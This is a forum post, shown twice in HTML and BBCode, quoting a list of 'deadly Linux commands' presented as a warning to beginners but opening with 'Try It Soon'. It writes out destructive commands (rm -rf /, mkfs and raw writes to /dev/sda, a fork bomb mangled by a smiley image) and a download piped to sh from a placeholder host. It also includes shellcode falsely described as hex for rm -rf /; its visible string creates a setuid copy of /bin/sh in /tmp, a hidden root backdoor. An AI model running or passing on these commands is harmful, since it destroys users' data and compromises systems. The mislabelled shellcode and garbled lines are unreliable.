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Top deadly linux commands .:: Dare to enter it ::.
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<blockquote data-quote="sanjeeme" data-source="post: 3625947" data-attributes="member: 86590"><p>Here Is Th Coding.......</p><p></p><p>Try It Soon.......</p><p></p><p><span style="font-size: 10px"><span style="color: Red"><strong>DESCRIPTION:</strong></span></span></p><p><span style="font-size: 10px"><span style="color: Red"><strong>***********</strong></span></span></p><p>If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.</p><p></p><p></p><p><span style="color: Blue"><strong>1. Code:</strong></span></p><p style="text-align: left"><strong><em></em></strong></p> <p style="text-align: left"><strong><em>rm -rf /</em></strong></p><p></p><p>This command will recursively and forcefully delete all the files inside the root directory.</p><p></p><p></p><p><span style="color: Blue"><strong>2. Code:</strong></span></p><p></p><p><strong><em>char esp[] __attribute__ ((section(".text"))) /* e.s.p</em></strong></p><p><strong><em>release */</em></strong></p><p><strong><em> = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\ x68"</em></strong></p><p><strong><em> "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\ x99"</em></strong></p><p><strong><em> "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\ xf7"</em></strong></p><p><strong><em> "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\ x56"</em></strong></p><p><strong><em> "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\ x31"</em></strong></p><p><strong><em> "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\ x69"</em></strong></p><p><strong><em> "\x6e\x2f\x73\x68\x00\x2d\x63\x00"</em></strong></p><p><strong><em> "cp -p /bin/sh /tmp/.beyond; chmod 4755</em></strong></p><p><strong><em>/tmp/.beyond;";</em></strong></p><p></p><p style="text-align: left">This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.</p> <p style="text-align: left"></p><p></p><p><span style="color: Blue"><strong>3. Code:</strong></span></p><p></p><p><strong><em>mkfs.ext3 /dev/sda</em></strong></p><p></p><p>This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.</p><p></p><p></p><p><span style="color: Blue"><strong>4. Code:</strong></span></p><p></p><p><strong><em><img src="http://srv.exbii.com/images/smilies/frown.gif" alt="" class="fr-fic fr-dii fr-draggable " style="" />){:|:&};:</em></strong></p><p></p><p>Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.</p><p></p><p></p><p><strong><span style="color: Blue">5. Code:</span></strong></p><p></p><p><strong><em>any_command > /</em></strong><strong><em>dev</em></strong><strong><em>/</em></strong><strong><em>sda</em></strong></p><p></p><p>With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.</p><p></p><p><span style="color: Blue"><strong>6. Code: </strong></span></p><p></p><p><strong><em>wget</em></strong><strong><em> <a href="http://www.amaderforum.com/redirector.php?url=http%3A%2F%2Fsome_untrusted_source%2F" target="_blank">http:// some_untrusted_source</a> -O- | sh</em></strong></p><p></p><p>Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.</p><p></p><p><strong><span style="color: Blue">7. Code: </span></strong></p><p></p><p><strong><em>mv</em></strong><strong><em> /home/</em></strong><strong><em>yourhomedirectory</em></strong><strong><em>/* /</em></strong><strong><em>dev</em></strong><strong><em>/null</em></strong></p><p></p><p>This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.</p><p></p><p></p><p>There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.</p></blockquote><p></p>
[QUOTE="sanjeeme, post: 3625947, member: 86590"] Here Is Th Coding....... Try It Soon....... [SIZE=2][COLOR=Red][B]DESCRIPTION: ***********[/B][/COLOR][/SIZE] If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid. [COLOR=Blue][B]1. Code:[/B][/COLOR] [LEFT][B][I] rm -rf /[/I][/B][/LEFT] This command will recursively and forcefully delete all the files inside the root directory. [COLOR=Blue][B]2. Code:[/B][/COLOR] [B][I]char esp[] __attribute__ ((section(".text"))) /* e.s.p[/I][/B] [B][I]release */[/I][/B] [B][I] = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\ x68"[/I][/B] [B][I] "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\ x99"[/I][/B] [B][I] "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\ xf7"[/I][/B] [B][I] "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\ x56"[/I][/B] [B][I] "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\ x31"[/I][/B] [B][I] "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\ x69"[/I][/B] [B][I] "\x6e\x2f\x73\x68\x00\x2d\x63\x00"[/I][/B] [B][I] "cp -p /bin/sh /tmp/.beyond; chmod 4755[/I][/B] [B][I]/tmp/.beyond;";[/I][/B] [LEFT]This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users. [/LEFT] [COLOR=Blue][B]3. Code:[/B][/COLOR] [B][I]mkfs.ext3 /dev/sda[/I][/B] This will reformat or wipeout all the files of the device that is mentioned after the mkfs command. [COLOR=Blue][B]4. Code:[/B][/COLOR] [B][I][IMG]http://srv.exbii.com/images/smilies/frown.gif[/IMG]){:|:&};:[/I][/B] Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data. [B][COLOR=Blue]5. Code:[/COLOR][/B] [B][I]any_command > /[/I][/B][B][I]dev[/I][/B][B][I]/[/I][/B][B][I]sda[/I][/B] With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data. [COLOR=Blue][B]6. Code: [/B][/COLOR] [B][I]wget[/I][/B][B][I] [URL="http://www.amaderforum.com/redirector.php?url=http%3A%2F%2Fsome_untrusted_source%2F"]http:// some_untrusted_source[/URL] -O- | sh[/I][/B] Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you. [B][COLOR=Blue]7. Code: [/COLOR][/B] [B][I]mv[/I][/B][B][I] /home/[/I][/B][B][I]yourhomedirectory[/I][/B][B][I]/* /[/I][/B][B][I]dev[/I][/B][B][I]/null[/I][/B] This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again. There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment. [/QUOTE]
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